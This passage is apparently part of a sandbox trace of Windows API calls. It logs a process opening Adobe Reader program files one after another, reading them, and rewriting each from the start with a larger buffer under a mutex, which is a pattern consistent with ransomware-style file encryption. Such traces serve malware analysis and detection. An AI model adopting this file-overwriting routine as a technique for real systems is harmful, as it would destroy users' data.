lpNumberOfBytesWritten=0x2a0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.717] CloseHandle (hObject=0x1b0) returned 1 [0041.717] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.717] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.717] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa00 [0041.717] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.717] ReleaseMutex (hMutex=0x128) returned 1 [0041.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.FRA", cchWideChar=13, lpMultiByteStr=0x1e633ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.FRA", lpUsedDefaultChar=0x0) returned 13 [0041.718] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x2a0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.719] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.719] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.719] CloseHandle (hObject=0x1b0) returned 1 [0041.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.720] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.720] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa00 [0041.720] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.720] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.720] ReleaseMutex (hMutex=0x128) returned 1 [0041.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CAT", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CAT", lpUsedDefaultChar=0x0) returned 16 [0041.720] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x2a0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.721] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.721] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.721] CloseHandle (hObject=0x1b0) returned 1 [0041.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.722] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.722] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa00 [0041.722] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.722] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.722] ReleaseMutex (hMutex=0x128) returned 1 [0041.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.722] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.KOR", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.KOR", lpUsedDefaultChar=0x0) returned 16 [0041.722] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x2a0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.724] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.724] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.725] CloseHandle (hObject=0x1b0) returned 1 [0041.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\WindowsMedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\windowsmedia.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.725] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.725] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa00 [0041.725] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.725] ReleaseMutex (hMutex=0x128) returned 1 [0041.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.725] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CZE", lpUsedDefaultChar=0x0) returned 16 [0041.725] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x2a0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.727] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.727] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.727] CloseHandle (hObject=0x1b0) returned 1 [0041.727] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Mcimpp.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\mcimpp.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.728] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.728] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2000 [0041.728] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.728] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.728] ReleaseMutex (hMutex=0x128) returned 1 [0041.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.POL", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.POL", lpUsedDefaultChar=0x0) returned 10 [0041.728] ReadFile (in: hFile=0x1b0, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x2a0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0041.729] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.729] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0041.730] CloseHandle (hObject=0x1b0) returned 1 [0041.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\WindowsMedia.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\windowsmedia.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.730] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.731] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa00 [0041.731] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.731] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.731] ReleaseMutex (hMutex=0x128) returned 1 [0041.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.RUS", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.RUS", lpUsedDefaultChar=0x0) returned 16 [0041.731] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da5328, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da5328*, lpNumberOfBytesRead=0x2a0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.732] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.732] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.732] CloseHandle (hObject=0x1b0) returned 1 [0041.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\MCIMPP.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\mcimpp.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.733] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.733] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1e00 [0041.733] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.733] ReleaseMutex (hMutex=0x128) returned 1 [0041.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.TUR", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.TUR", lpUsedDefaultChar=0x0) returned 10 [0041.733] ReadFile (in: hFile=0x1b0, lpBuffer=0x280dd58, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesRead=0x2a0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0041.734] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0041.734] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0041.735] CloseHandle (hObject=0x1b0) returned 1 [0041.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\readoutloud.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.735] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.736] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1b663 [0041.736] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.736] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.736] ReleaseMutex (hMutex=0x128) returned 1 [0041.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.api", cchWideChar=15, lpMultiByteStr=0x1e6324c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.api", lpUsedDefaultChar=0x0) returned 15 [0041.736] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.737] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a663 [0041.738] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.738] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a663 [0041.738] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.739] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.739] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.739] CloseHandle (hObject=0x1b0) returned 1 [0041.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.739] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.739] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6a590 [0041.739] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.739] ReleaseMutex (hMutex=0x128) returned 1 [0041.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvDX8.x3d", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvDX8.x3d", lpUsedDefaultChar=0x0) returned 10 [0041.740] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0041.741] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x69590 [0041.741] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.743] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x69590 [0041.743] WriteFile (in: hFile=0x1b0, lpBuffer=0x280dd58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.743] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.743] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.743] CloseHandle (hObject=0x1b0) returned 1 [0041.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\Services.cfg" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\services.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.744] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.744] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7f79 [0041.744] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.744] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.744] ReleaseMutex (hMutex=0x128) returned 1 [0041.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.cfg", 